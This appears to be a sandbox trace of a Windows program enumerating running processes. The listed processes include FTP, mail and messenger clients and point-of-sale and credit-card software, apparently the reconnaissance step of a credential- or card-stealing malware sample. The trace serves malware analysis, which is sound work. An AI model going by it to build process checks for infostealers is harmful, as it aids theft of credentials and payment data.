	[0060.705] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0060.706] lstrlenW (lpString="search.exe") returned 10
	[0060.706] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0060.706] lstrlenW (lpString="compatibility.exe") returned 17
	[0060.706] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0060.707] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0060.707] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0060.708] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0060.708] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0060.708] lstrlenW (lpString="try.exe") returned 7
	[0060.708] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0060.709] lstrlenW (lpString="consultancy.exe") returned 15
	[0060.709] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0060.709] lstrlenW (lpString="especially.exe") returned 14
	[0060.709] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0060.710] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0060.710] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0060.710] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0060.710] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0060.711] lstrlenW (lpString="modules.exe") returned 11
	[0060.711] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0060.711] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0060.711] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0060.716] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0060.716] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0060.716] lstrlenW (lpString="3dftp.exe") returned 9
	[0060.716] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0060.717] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0060.717] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0060.717] lstrlenW (lpString="alftp.exe") returned 9
	[0060.717] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0060.718] lstrlenW (lpString="barca.exe") returned 9
	[0060.718] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0060.719] lstrlenW (lpString="bitkinex.exe") returned 12
	[0060.719] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0060.720] lstrlenW (lpString="coreftp.exe") returned 11
	[0060.720] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0060.721] lstrlenW (lpString="far.exe") returned 7
	[0060.721] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0060.721] lstrlenW (lpString="filezilla.exe") returned 13
	[0060.721] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0060.722] lstrlenW (lpString="flashfxp.exe") returned 12
	[0060.722] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0060.723] lstrlenW (lpString="fling.exe") returned 9
	[0060.723] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0060.724] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0060.724] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0060.725] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0060.725] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0060.726] lstrlenW (lpString="icq.exe") returned 7
	[0060.726] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0060.727] lstrlenW (lpString="leechftp.exe") returned 12
	[0060.727] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0060.727] lstrlenW (lpString="ncftp.exe") returned 9
	[0060.727] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0060.728] lstrlenW (lpString="notepad.exe") returned 11
	[0060.728] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0060.729] lstrlenW (lpString="operamail.exe") returned 13
	[0060.729] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0060.730] lstrlenW (lpString="pidgin.exe") returned 10
	[0060.730] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0060.731] lstrlenW (lpString="scriptftp.exe") returned 13
	[0060.731] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0060.732] lstrlenW (lpString="skype.exe") returned 9
	[0060.732] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0060.733] lstrlenW (lpString="smartftp.exe") returned 12
	[0060.733] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0060.733] lstrlenW (lpString="thunderbird.exe") returned 15
	[0060.733] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0060.734] lstrlenW (lpString="totalcmd.exe") returned 12
	[0060.734] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0060.735] lstrlenW (lpString="trillian.exe") returned 12
	[0060.735] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0060.736] lstrlenW (lpString="webdrive.exe") returned 12
	[0060.736] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0060.736] lstrlenW (lpString="whatsapp.exe") returned 12
	[0060.736] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0060.737] lstrlenW (lpString="winscp.exe") returned 10
	[0060.737] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0060.738] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0060.738] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0060.739] lstrlenW (lpString="active-charge.exe") returned 17
	[0060.739] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0060.739] lstrlenW (lpString="accupos.exe") returned 11
	[0060.739] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0060.740] lstrlenW (lpString="afr38.exe") returned 9
	[0060.740] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0060.741] lstrlenW (lpString="aldelo.exe") returned 10
	[0060.741] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0060.741] lstrlenW (lpString="ccv_server.exe") returned 14
	[0060.741] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0060.742] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0060.742] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0060.743] lstrlenW (lpString="creditservice.exe") returned 17
	[0060.743] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0060.744] lstrlenW (lpString="edcsvr.exe") returned 10
	[0060.744] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0060.744] lstrlenW (lpString="fpos.exe") returned 8
	[0060.744] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0060.745] lstrlenW (lpString="isspos.exe") returned 10
	[0060.745] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0060.746] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0060.746] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0060.746] lstrlenW (lpString="omnipos.exe") returned 11
	[0060.746] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0060.747] lstrlenW (lpString="spcwin.exe") returned 10
	[0060.747] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0060.748] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0060.748] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0060.748] lstrlenW (lpString="utg2.exe") returned 8
	[0060.748] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0060.749] lstrlenW (lpString="explicit.exe") returned 12
	[0060.749] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.849] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0060.849] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.850] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.850] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0060.851] lstrlenW (lpString="UsoClient.exe") returned 13
	[0060.851] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.851] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.851] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0060.852] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0060.852] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0060.852] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0060.852] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.853] lstrlenW (lpString="conhost.exe") returned 11
	[0060.853] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.853] lstrlenW (lpString="conhost.exe") returned 11
	[0060.853] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.854] lstrlenW (lpString="svchost.exe") returned 11
	[0060.854] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0060.855] lstrlenW (lpString="fvppjh.exe") returned 10
	[0060.855] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.855] lstrlenW (lpString="svchost.exe") returned 11
	[0060.855] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0060.856] lstrlenW (lpString="cmd.exe") returned 7
	[0060.856] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.857] lstrlenW (lpString="conhost.exe") returned 11
	[0060.857] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0060.857] CloseHandle (hObject=0x2c0) returned 1
	[0060.857] Sleep (dwMilliseconds=0x1f4) 
